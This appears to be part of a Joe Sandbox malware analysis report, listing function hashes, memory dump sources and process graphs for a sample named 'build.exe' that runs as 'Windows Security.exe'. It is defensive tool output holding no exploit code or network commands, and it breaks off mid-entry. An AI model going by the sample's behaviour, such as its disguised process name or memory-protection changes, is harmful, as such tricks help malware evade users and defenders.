Opcode Fuzzy Hash: eb68612c937d33e2728d146d29446c67dc7855805b592e633cf5f5f5c8442200
Instruction Fuzzy Hash: E0E0CD313046125787185B65FC5849A7BB9FFD5715701C13ED50DC7260EF60DC568794

Uniqueness

Uniqueness Score: -1.00%

Function 00A64E68 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402904756.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a60000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f02c03c5fdd7d2c33aa4f10570ac715f92211c43312943726239adda32eeea
Instruction ID: e2ac816c6c033c972bfe4294245a0d23e15d9da4937d009c316633f7d638fa84
Opcode Fuzzy Hash: 61f02c03c5fdd7d2c33aa4f10570ac715f92211c43312943726239adda32eeea
Instruction Fuzzy Hash: B1E0D8701081A09FD725F720E0959D63761DB562047054559D0424B279C7301C8FD741

Uniqueness

Uniqueness Score: -1.00%

Function 0052DB10 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0f84a36eed24d487a53d6c5039ee99b02f4d3cbc88ca55d3a664660d9917ae
Instruction ID: ff56ee7d6e96db9dc81d4ce1eed24c2ea3e055dd9d603d93755db6c9bbac8948
Opcode Fuzzy Hash: db0f84a36eed24d487a53d6c5039ee99b02f4d3cbc88ca55d3a664660d9917ae
Instruction Fuzzy Hash: D7E012353001249FD705AB69ED05E573B97EB89754F058070E705CB365CB36DC129BD5

Uniqueness

Uniqueness Score: -1.00%

Function 0052B0B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd8b8caefb67c63545db02b14ef65adbf3d1b1e632f699f4adccb6ebf1f8d65
Instruction ID: 81b67abf0702cdd41e08a95d3e775044113b32c3731448508ad05dee66c54591
Opcode Fuzzy Hash: cfd8b8caefb67c63545db02b14ef65adbf3d1b1e632f699f4adccb6ebf1f8d65
Instruction Fuzzy Hash: 42E0B674E0820CAFCB44EFA8E45459DBBF5AF48208F0085E9D819E7354EB346A448F85

Uniqueness

Uniqueness Score: -1.00%

Function 00A6AA60 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402904756.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a60000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25680a77799f9f691f253d1ff3fb8814394e5a106f4725ccd8fa1b37bf1ab22d
Instruction ID: 4a18edd23f4c59c6e86700ebfa093f7bca7a6a5d4701975ad5ea12bc25137c2b
Opcode Fuzzy Hash: 25680a77799f9f691f253d1ff3fb8814394e5a106f4725ccd8fa1b37bf1ab22d
Instruction Fuzzy Hash: A1D012326083286B1B28EAE954526DEBFEDDA84178F02447BD509DB340EEB5694442D9

Uniqueness

Uniqueness Score: -1.00%

Function 00526DD9 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ba12981ffcc7d72a7855ff2bb68c09135797aec2c3a68c2d2ac54e4fae6578
Instruction ID: e7786be4e7eb36b402065c97a7d6a67baa33eb841c90bc2b46dfd50650b79d83
Opcode Fuzzy Hash: 95ba12981ffcc7d72a7855ff2bb68c09135797aec2c3a68c2d2ac54e4fae6578
Instruction Fuzzy Hash: E1D0A73110D7A04FC342A724A9190CA7FB25E4650030AC9DFE045CF167CB615D4EC3B7

Uniqueness

Uniqueness Score: -1.00%

Function 0052BF88 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1407ed426213eb505de9a56ec175b07122802a8aa49bab5511b1da8a12696ac8
Instruction ID: 272b91d6350e3dab5f8b3faf58d35b4658bcdf3812393187af367a1cf06e2bff
Opcode Fuzzy Hash: 1407ed426213eb505de9a56ec175b07122802a8aa49bab5511b1da8a12696ac8
Instruction Fuzzy Hash: F6D0223004E3884FC7826BA09C1C218BF38AC0312538805C3D048CE033C519050FC3A6

Uniqueness

Uniqueness Score: -1.00%

Function 005245A8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2051095b51cdad344940f6a360a29af8f333d9e6d7501e7d8cccb49bf79483
Instruction ID: efb105b13ddf5f725da76f0c89e962a8edd38055f9ae9b600ec51fb99abb0470
Opcode Fuzzy Hash: ad2051095b51cdad344940f6a360a29af8f333d9e6d7501e7d8cccb49bf79483
Instruction Fuzzy Hash: 7AD012B49046119A9B4CDF1A55400767DE1FFC9308370CCAE90088A252D735C7439ED0

Uniqueness

Uniqueness Score: -1.00%

Function 0052CCD0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 326b8ec8702c7eb56b03242fb064f76e80e57f98c437cc975df0ecf83320b280
Instruction ID: 207c3ac43ab09c66f4b8821f84d838a82954ada5ec9a76f0ffa935a811f8316d
Opcode Fuzzy Hash: 326b8ec8702c7eb56b03242fb064f76e80e57f98c437cc975df0ecf83320b280
Instruction Fuzzy Hash: CDD0A77450C3854FD3029B30CC18622BEA3AFEA301F55C5EEA9418A1F6E7B6C825D753

Uniqueness

Uniqueness Score: -1.00%

Function 00524F08 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3768fe7caee87b6b38801d9eb7e6e7d98c62e9ca1d0eba8308ee1407588a68ae
Instruction ID: 0ac0089b47493e4c480e3f87d2c6c72dcc30badc803b44731ae2aebae5fbfd6e
Opcode Fuzzy Hash: 3768fe7caee87b6b38801d9eb7e6e7d98c62e9ca1d0eba8308ee1407588a68ae
Instruction Fuzzy Hash: 07D012D995E3E12BD71B87754C982893F601D27120B9D42CFD4C45E0C7E5A9A04FC763

Uniqueness

Uniqueness Score: -1.00%

Function 00A6AA30 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402904756.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a60000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c74bd407ad3c3bcfb673dc3dfca75ae5e690ac4c6e7cce58ad73bfd4461d38
Instruction ID: 3760cc3191e297bcdf971d5922a140aa55b1944599c6a645414a52774adbd571
Opcode Fuzzy Hash: b4c74bd407ad3c3bcfb673dc3dfca75ae5e690ac4c6e7cce58ad73bfd4461d38
Instruction Fuzzy Hash: 30C0021411D7C10ED713536919606986FA19C87058B8E0CD9D0D19A562C144584B8711

Uniqueness

Uniqueness Score: -1.00%

Function 0052B080 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 569ac6a64a6c67cf321c5099c04d9248a6576adb2acfb488a7548fb173644537
Instruction ID: 0c9b2e88eef83bb4b4f23169eab69ae41404d72b97daca3d41165a7af2e83497
Opcode Fuzzy Hash: 569ac6a64a6c67cf321c5099c04d9248a6576adb2acfb488a7548fb173644537
Instruction Fuzzy Hash: 70C08C71849B889FC300CA91984064C3B598B06244F0106EEEA0887361D12388109F82

Uniqueness

Uniqueness Score: -1.00%

Function 00525461 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 617d439325a0bc30f57dad20fdc581b51d99ac028c08a8412f3fcdebf00ad2b8
Instruction ID: 25e1ea80fcbdeca7f30bb9b8440e9bd265142c5748971cfe0e34d13b8f9bd414
Opcode Fuzzy Hash: 617d439325a0bc30f57dad20fdc581b51d99ac028c08a8412f3fcdebf00ad2b8
Instruction Fuzzy Hash: C0B092A188A6D02FCF124F602C2A1E07F306D0325270A02C398888F0D3A92948AACA62

Uniqueness

Uniqueness Score: -1.00%

Function 00A60440 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402904756.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a60000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a36e9e3b9d06ac3c5a05c85101dd79020a0a329fb6705c091eb0ea696c8e499
Instruction ID: 6a51acd258194cbcccb0d749d6253dc323a51f012acf1e4a4c57f5a37d486fbf
Opcode Fuzzy Hash: 0a36e9e3b9d06ac3c5a05c85101dd79020a0a329fb6705c091eb0ea696c8e499
Instruction Fuzzy Hash: 5BC0026128D3D65EE31792294C256943F611B07214FD944EF9481CB4E7C24D5417CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0052B088 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d01b8fdfb771e04540a967ea2543777febbe26fd87fe46bf31e4b62952d45109
Instruction ID: f6a22df0dc1ea004df462defee3cd873706ffc86c5dbb6833480f23f34b70cf4
Opcode Fuzzy Hash: d01b8fdfb771e04540a967ea2543777febbe26fd87fe46bf31e4b62952d45109
Instruction Fuzzy Hash: 6CB0927094930CAF8610DA99984191EB7ACDA0A118B0106DAEA0897314DA72AD106AE2

Uniqueness

Uniqueness Score: -1.00%

Function 0052BF98 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5faf457310af6943ab1de65e65c6b05dc5b1577dbc0669ba8794e24e305033e
Instruction ID: a4aa0ec9b1078f99924a958a5fc5c26aedd9de3ff770a7cdd155ca06ff005c14
Opcode Fuzzy Hash: a5faf457310af6943ab1de65e65c6b05dc5b1577dbc0669ba8794e24e305033e
Instruction Fuzzy Hash: F2B0123000820E8FC6C0BB51F905A08F31EA941229BD04D10950C4E036AA60254D87C8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A6EF68 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

\l, xrefs: 00A6F30B

Memory Dump Source

Source File: 00000000.00000002.402904756.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a60000_18561381.jbxd

Similarity

API ID:
String ID: \l
API String ID: 0-1092122813
Opcode ID: 2f2bf6b1c71a08b82c914e3dbbbc08fbcdabe33d20304561b23e3f5ff586ee3a
Instruction ID: e769fe697d66ff506e9d829be3701dd45d04c290c8ad1ad16abcdebc0027c650
Opcode Fuzzy Hash: 2f2bf6b1c71a08b82c914e3dbbbc08fbcdabe33d20304561b23e3f5ff586ee3a
Instruction Fuzzy Hash: CBD1AE34B042058FDB14EB78D894AAE77F7EF89344B158469D606DB3A2EF30DD028B91

Uniqueness

Uniqueness Score: -1.00%

Function 00520548 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52fd0dcb61ef721ca1ccc0ef8de6bcbf8bef1a04a9551cec1de7e28e2aad74c3
Instruction ID: c82c80584fd84dea27c2a994d1675aae7794a0c7c7aca2d2d77be9f072f0e247
Opcode Fuzzy Hash: 52fd0dcb61ef721ca1ccc0ef8de6bcbf8bef1a04a9551cec1de7e28e2aad74c3
Instruction Fuzzy Hash: 68916870E012198FDB10CFA8D9957EEBFF2BF89308F149129E418A72D5DB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00524694 Relevance: 10.3, Strings: 8, Instructions: 274COMMON

Download Yara Rule

Strings

P%Q, xrefs: 00524F7D
H.Q, xrefs: 005250D7
H.Q, xrefs: 00525117
H.Q, xrefs: 00525099
H.Q, xrefs: 005251A2
H.Q, xrefs: 0052505F
H.Q, xrefs: 005251CB
H.Q, xrefs: 0052529B

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID: H.Q$H.Q$H.Q$H.Q$H.Q$H.Q$H.Q$P%Q
API String ID: 0-2612347436
Opcode ID: cdba323c0482e7bb00ade7524269800aa719bde0299cb8c09cb92c2a35f55567
Instruction ID: 9aad2aafd399c61d121643778d324d49e7a0c59f6b96c4cc8074c971577e51d2
Opcode Fuzzy Hash: cdba323c0482e7bb00ade7524269800aa719bde0299cb8c09cb92c2a35f55567
Instruction Fuzzy Hash: D291E4307046218BCB15EB64E9946AE7BA3BFC6314F458928D506CB3D1EF34EE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00525588 Relevance: 5.4, Strings: 4, Instructions: 373COMMON

Download Yara Rule

Strings

H.Q, xrefs: 005256A7
H.Q, xrefs: 005257D0
H.Q, xrefs: 005255DE
H.Q, xrefs: 005259A5

Memory Dump Source

Source File: 00000000.00000002.401884176.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_18561381.jbxd

Similarity

API ID:
String ID: H.Q$H.Q$H.Q$H.Q
API String ID: 0-939282458
Opcode ID: 689d3b39826823b8b3d3c8c99f11c943bd80ff427843ba0545931a5626d27a71
Instruction ID: b94096eed35c9d2e6690a812a247d295b7d38db87e8a3682cd4150b70db3a4b8
Opcode Fuzzy Hash: 689d3b39826823b8b3d3c8c99f11c943bd80ff427843ba0545931a5626d27a71
Instruction Fuzzy Hash: 75E19B30A00615DFCB14EF65D585AADBBF3FF8A304F54892CD00A9B2A0EB74AD85CB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: build.exePID: 2856, Parent PID: 6608COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFC039A0518 Relevance: 1.9, APIs: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.451135639.00007FFC039A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffc039a0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8ca32127dca329b9de1556eb2a1d83d2ae2c0f7b703b92798e1ff40954168d0
Instruction ID: cb420d7c6ef5cb7bd1bb97de30269b7b29cd6fe72f0aee475e77bc4238d029a9
Opcode Fuzzy Hash: f8ca32127dca329b9de1556eb2a1d83d2ae2c0f7b703b92798e1ff40954168d0
Instruction Fuzzy Hash: 92C1E27190D7C84FD3069B6498566A57FF0EF57310F0942EFD085CB2A3DA68A84BC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039A7C20 Relevance: 1.7, APIs: 1, Instructions: 179
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFC039A7D41

Memory Dump Source

Source File: 00000010.00000002.451135639.00007FFC039A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffc039a0000_build.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8b48d348539abb57a3552ac5247d16e0dd01f8bf2f656088381a07641a5e1c08
Instruction ID: 6e3a836f8c76816150815d92da7c73a3a804955bbe2196ab83de9e9240a8984d
Opcode Fuzzy Hash: 8b48d348539abb57a3552ac5247d16e0dd01f8bf2f656088381a07641a5e1c08
Instruction Fuzzy Hash: 4A41F936E0CA3D5ADB18BB9DA4465FC7BA4EF91332F10013BE00CD2192DE64684AC6F5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039A1078 Relevance: 1.6, APIs: 1, Instructions: 113
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFC039A1111

Memory Dump Source

Source File: 00000010.00000002.451135639.00007FFC039A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffc039a0000_build.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 16c5fa2a06c4d8f238b3108e712b67f8a60879506674d28d6058bbbfdf44d93d
Instruction ID: ddb6e894517e7aef38e94f950ed2814a55d8a5be89566ab57b71e048f9049fda
Opcode Fuzzy Hash: 16c5fa2a06c4d8f238b3108e712b67f8a60879506674d28d6058bbbfdf44d93d
Instruction Fuzzy Hash: 4331D67190CA1C8FDB18EF9C98466F9BBE1EBA9321F04422FD04AD3251CB706856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039A020A Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFC039A1111

Memory Dump Source

Source File: 00000010.00000002.451135639.00007FFC039A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffc039a0000_build.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8930fc9ac3df7f6023fe18d92c956d546cb423af6642b16d8d495ef53dbfbed7
Instruction ID: b0005b6ab5b84f4ef2e290776cbde9ab08ddb83c6a28292a5438817005d5f117
Opcode Fuzzy Hash: 8930fc9ac3df7f6023fe18d92c956d546cb423af6642b16d8d495ef53dbfbed7
Instruction Fuzzy Hash: DE31B67090CA1C9FDB18EF9D98456F9B7E1EB59311F10422FD04AD3251CB706856CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CB2AE0 Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00CB2AE0(void* __eax, void* __ecx, intOrPtr __edx) {

				asm("cpuid");
				 *1 = 1;
				 *0x00000005 = __edx;
				return 1;
			}

0x00cb2ae8
0x00cb2aeb
0x00cb2aee
0x00000000

Memory Dump Source

Source File: 00000010.00000002.447388727.0000000000CB2000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000010.00000002.447372755.0000000000CB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.447444817.0000000000CC7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_cb0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb31941fb43e3bf92860c3e0d5a9d2e820c0ddda7faa73ec9fbbb455f2d45ea
Instruction ID: d2dfd0b146800f26169d92916d7ea8e6fdccdbdd3b35e064e1e717a613e33929
Opcode Fuzzy Hash: 1eb31941fb43e3bf92860c3e0d5a9d2e820c0ddda7faa73ec9fbbb455f2d45ea
Instruction Fuzzy Hash: 2DB002F65062054FD7D58F1995117543694E788755F45C166490C83350E27544988A51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Windows Security.exePID: 4312, Parent PID: 5612COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFC039B0518 Relevance: 1.9, APIs: 1, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.511981113.00007FFC039B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffc039b0000_Windows Security.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe4e92ad3599a94219e1ba03bd142b3636ea05ccda70bfbaef53f58fd747fa4
Instruction ID: c161bc169354d9efced321d464bf918b374f1e62a191a95b384ae02bb7c5bcae
Opcode Fuzzy Hash: fbe4e92ad3599a94219e1ba03bd142b3636ea05ccda70bfbaef53f58fd747fa4
Instruction Fuzzy Hash: 42C1E37190D7C84FD70A8B7498556A57FF0EF57320F0941EFD085CB2A3DA68A84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039B7C55 Relevance: 1.7, APIs: 1, Instructions: 154
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FFC039B7D41

Memory Dump Source

Source File: 0000001A.00000002.511981113.00007FFC039B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffc039b0000_Windows Security.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0ce3bb92d13349bb3b8bbf4420b77028c0c1bf1ed63414245d9f3d5ed04dd80d
Instruction ID: 33fbb0bb0f0c0946a71dbc3e64e90d90575f581b4d33e7fe1af7689cae7e57c7
Opcode Fuzzy Hash: 0ce3bb92d13349bb3b8bbf4420b77028c0c1bf1ed63414245d9f3d5ed04dd80d
Instruction Fuzzy Hash: 2E41C431E1C62D4BDB18AA9DA5455FC77A0EFD5722F10423FD00DD3292CE64684AC7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039B1078 Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FFC039B1111

Memory Dump Source

Source File: 0000001A.00000002.511981113.00007FFC039B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffc039b0000_Windows Security.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b67d7d9d90427464e1c185bb728b62cd07727aed1acd960ff375c66e1aea707d
Instruction ID: d2340e187bb21df6678926171b93c03376e380c6e9a557ab7e1da7b9783ebefa
Opcode Fuzzy Hash: b67d7d9d90427464e1c185bb728b62cd07727aed1acd960ff375c66e1aea707d
Instruction Fuzzy Hash: 5331D63190CA1C8FDB18DF98984A6F9B7E1EBA9321F00422FD04AD3251DB706846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039B020A Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FFC039B1111

Memory Dump Source

Source File: 0000001A.00000002.511981113.00007FFC039B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffc039b0000_Windows Security.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: baf5b4209cf62a3f6fa7f5ba8bf61786c37dabb5b2bdc48b658967473b7ebd9c
Instruction ID: 21d6e0b98452dc156e0cef9bc11a0d41f8d39db66f6946bebd3d195b546bc9c3
Opcode Fuzzy Hash: baf5b4209cf62a3f6fa7f5ba8bf61786c37dabb5b2bdc48b658967473b7ebd9c
Instruction Fuzzy Hash: BC31B43191CA1C9FDB18DF99984AAF9B7E1EBA9321F10422FD04AD3251CB716846CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Windows Security.exePID: 4336, Parent PID: 848COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	22
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFC039D0518 Relevance: 1.9, APIs: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.511033948.00007FFC039D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffc039d0000_Windows Security.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ebf1f1cf9bc26ee4c418bdf205a39839919dfbbf8f030019abc003c701b6d0
Instruction ID: 76768bca2e3543fbf906df0c6cc660bb72c82b13a9a95e50d688d045c3561c8b
Opcode Fuzzy Hash: 82ebf1f1cf9bc26ee4c418bdf205a39839919dfbbf8f030019abc003c701b6d0
Instruction Fuzzy Hash: 8FC1F27290D7C84FD7069B6898566A57FF0EF53311F0941EFD085CB2A3DA28A84AC762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039D1078 Relevance: 1.6, APIs: 1, Instructions: 113
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFC039D1111

Memory Dump Source

Source File: 00000023.00000002.511033948.00007FFC039D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffc039d0000_Windows Security.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3855eca4639a4fae1e6d8e3b1753198466caf4511d07e9b6e5b090bbe348fde8
Instruction ID: 4632900245051e0852ed9f477813dfb92d8cf340ff77e1eaa1ad0e84b9fc4a88
Opcode Fuzzy Hash: 3855eca4639a4fae1e6d8e3b1753198466caf4511d07e9b6e5b090bbe348fde8
Instruction Fuzzy Hash: 8C31E43190CA1C8FDB18DF98D8466F9BBE1EBA9321F00422FD04AD3651CB706846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFC039D020A Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFC039D1111

Memory Dump Source

Source File: 00000023.00000002.511033948.00007FFC039D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC039D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffc039d0000_Windows Security.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 87e3b638cd654222b08fb34eeda438aceb47c86b7f87999d7b0322b61ea49b75
Instruction ID: 7c8b68adc3cf0d8693b802400784f576e4693e650d6bad5a5733b1fc7ce0016e
Opcode Fuzzy Hash: 87e3b638cd654222b08fb34eeda438aceb47c86b7f87999d7b0322b61ea49b75
